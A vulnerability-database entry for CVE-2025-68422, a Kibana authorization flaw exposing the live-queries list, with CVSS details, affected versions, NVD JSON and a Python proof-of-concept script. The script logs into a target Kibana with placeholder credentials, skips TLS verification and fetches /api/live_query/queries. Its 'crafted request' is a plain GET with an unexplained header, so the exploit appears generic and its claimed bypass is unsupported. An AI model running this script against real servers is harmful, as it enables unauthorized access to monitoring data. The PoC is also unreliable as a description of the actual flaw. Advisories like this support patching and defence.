Security Vulnerability Report
中文
CVE-2025-68422 CVSS 4.3 MEDIUM

CVE-2025-68422

Published: 2025-12-18 23:15:50
Last Modified: 2025-12-23 19:08:18

Description

Improper Authorization (CWE-285) in Kibana can lead to privilege escalation (CAPEC-233) by allowing an authenticated user to bypass intended permission restrictions via a crafted HTTP request. This allows an attacker who lacks the live queries - read permission to successfully retrieve the list of live queries.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:9.2.0:*:*:*:*:*:*:* - VULNERABLE
Kibana < 8.19.7
Kibana < 9.1.7
Kibana < 9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-68422 PoC - Kibana Privilege Bypass # Target: Kibana instances with live queries feature # Note: Requires valid authentication but lacking 'live queries - read' permission TARGET_URL = "https://target-kibana:5601" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Obtain authentication token via Kibana login""" login_url = f"{TARGET_URL}/internal/security/login" payload = { "providerName": "basic", "providerType": "basic", "currentURL": "/", "params": { "username": USERNAME, "password": PASSWORD } } headers = { "Content-Type": "application/json", "kbn-version": "8.19.6" } response = requests.post(login_url, json=payload, headers=headers, verify=False) if response.status_code == 200: return response.cookies.get('sid') return None def exploit_privilege_bypass(session_cookie): """Exploit the privilege bypass to access live queries without permission""" # Target endpoint that should require 'live queries - read' permission exploit_url = f"{TARGET_URL}/api/live_query/queries" headers = { "Content-Type": "application/json", "kbn-version": "8.19.6", "x-kbn-context": "workspace" } cookies = {'sid': session_cookie} # Crafted request to bypass permission check response = requests.get(exploit_url, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Accessed live queries without proper permission!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False def main(): print("[*] CVE-2025-68422 Kibana Privilege Bypass PoC") print("[*] Target: Live Queries unauthorized access") session = get_auth_token() if session: exploit_privilege_bypass(session) else: print("[-] Authentication failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68422", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.873", "lastModified": "2025-12-23T19:08:18.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authorization (CWE-285) in Kibana can lead to privilege escalation (CAPEC-233) by allowing an authenticated user to bypass intended permission restrictions via a crafted HTTP request. This allows an attacker who lacks the live queries - read permission to successfully retrieve the list of live queries."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "8820B4BC-0DAB-4C9B-8053-90DE2C19646E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.7", "matchCriteriaId": "E90B4E6B-DB88-4D20-B11B-BACA0FC8BCC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.7", "matchCriteriaId": "DF357479-9E01-423E-94A3-960E5649F06D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:9.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "977CBBAF-EE63-4BFA-B0BD-A06EB353C1FB"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-7-9-1-7-and-9-2-1-security-update-esa-2025-39/384187", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}